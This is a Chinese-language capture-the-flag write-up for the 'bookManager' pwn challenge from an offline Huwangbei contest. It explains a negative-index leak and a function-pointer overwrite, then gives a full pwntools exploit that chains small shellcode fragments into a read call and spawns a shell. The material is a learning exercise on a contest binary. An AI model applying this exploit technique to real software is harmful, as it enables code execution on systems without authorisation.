护网杯线下赛第一场是ctf积分赛,秒做pwn签到题之后一直无所事事,这道bookManager当时也没能做出来,趁着中午午休的时候,把这条题重新做做。
bookManager
1 2 3 4 5 6 7
| [*] '/home/kira/pwn/huwangbei/task_bookManager' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| signed __int64 __fastcall main(__int64 a1, char **a2, char **a3) { __int64 v3; int v5; __int64 v6; unsigned __int64 v7;
v7 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 1, 0LL); v3 = operator new(0x100uLL); init_(v3); v6 = v3; qword_202088 = v3 + 12; while ( (unsigned int)menu() != 0 ) { v5 = 0; scanf("%d", &v5); if ( v5 == 2 ) { (*(void (__fastcall **)(__int64))(*(_QWORD *)v6 + 8LL))(v6); } else if ( v5 > 2 ) { if ( v5 == 3 ) { (*(void (__fastcall **)(__int64))(*(_QWORD *)v6 + 16LL))(v6); } else if ( v5 == 4 ) { return 1LL; } } else if ( v5 == 1 ) { (**(void (__fastcall ***)(__int64))v6)(v6); } } return 0LL; }
|
程序提供了三种功能,分别是add,edit,show
1 2 3 4 5 6
| void *__fastcall sub_B10(__int64 a1) { *(_QWORD *)a1 = off_201DC0; *(_DWORD *)(a1 + 8) = 0; return memset((void *)(a1 + 12), 0, 0xF0uLL); }
|
程序初始化时,新建了一个对象,其中off_201DC0
存放了三个基本功能的函数地址,大概结构如下:
1 2 3 4 5 6 7
| func[3] 8byte book_count 4byte book1conent 8byte book1index 4byte book2conent 8byte book2index 4byte ....
|
漏洞点一:show
的函数可以输入负数,如果输入-1
就可以把func[3]
的地址泄露出来,从而计算出ELF基址
1 2 3 4 5 6 7 8 9 10 11
| unsigned __int64 __fastcall show(__int64 a1) { int v2; unsigned __int64 v3;
v3 = __readfsqword(0x28u); puts("Which book do you want to show?"); scanf("%d", &v2); printf("book name is:%s\n", a1 + 12LL * v2 + 12); return __readfsqword(0x28u) ^ v3; }
|
漏洞点二:eidt
的函数同样可以输入负数,如果输入-1
就可以修改对象存放的函数地址,考虑到程序没开NX
,本题可以使用shellcode来getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| unsigned __int64 __fastcall edit(__int64 a1) { int v2; __int64 buf; __int16 v4; unsigned __int64 v5;
v5 = __readfsqword(0x28u); printf("change Book id:"); v2 = 0; scanf("%d", &v2); printf("new Name:"); buf = 0LL; v4 = 0; read(0, &buf, 0xAuLL); *(_QWORD *)(a1 + 12LL * v2 + 12) = buf; return __readfsqword(0x28u) ^ v5; }
|
可控的输入字段是book的content,问题是如何泄露heap地址,比赛的时候一直没想到方法。直到剩最后半小时,才发现出题人在程序里故意留了一个可用的指针qword_202088
,果然这些蜜汁变量都是有用的!
这个地址就是直接指向book1conent
开始的地方,如果把对象存放的函数地址修改为这个地址,那么输入1
之后(func[0]),就能运行heap中的shellcode,注意每组content
只有8字节长度,中间有4字节是存放index
。
由于分段太多,除去跳转的jmp short 4
,只剩6字节一组,那就先用read(0,&buf,0xff)
来扩大输入,然后再写入getshell的shellcode。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| def add(name): p.sendlineafter('choice:\n','1') p.sendafter('BookName:',name)
def edit(idx,name): p.sendlineafter('choice:\n','2') p.sendlineafter('id:',str(idx)) p.sendlineafter('Name:',name)
def show(idx): p.sendlineafter('choice:\n','3') p.sendlineafter('show?',str(idx))
show(-1) p.recvuntil('name is:') func_addr = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) success('func_addr:{:#x}'.format(func_addr)) elf_address = func_addr - 0x201dc0 success('elf_address:{:#x}'.format(elf_address)) shellcode_addr = elf_address + 0x202088
jmp_4 = '\xeb\x04' shellcode1 = asm(''' mov rsi, rax xor rdi, rdi ''') add(shellcode1.ljust(6,'\x90')+jmp_4)
shellcode2 = asm(''' xor rax, rax ''') add(shellcode2.ljust(6,'\x90')+jmp_4)
shellcode3 = asm(''' mov edx,0xff ''') add(shellcode3.ljust(6,'\x90')+jmp_4)
shellcode4 = asm(''' syscall ''') add(shellcode4)
edit(-1,p64(shellcode_addr)) p.sendlineafter('choice:\n','1') p.send('\x90'*48+asm(shellcraft.sh())) p.interactive()
|
注意rdx
的不能太大,不然read
没反应。总结一下,平时手写shellcode太少了,最后半小时手忙脚乱,没把exp写出来(虽然做出来也没什么卵用)。还有几题难道有点大,之后随缘做吧,有时间先把AWD的pwn重新做一下~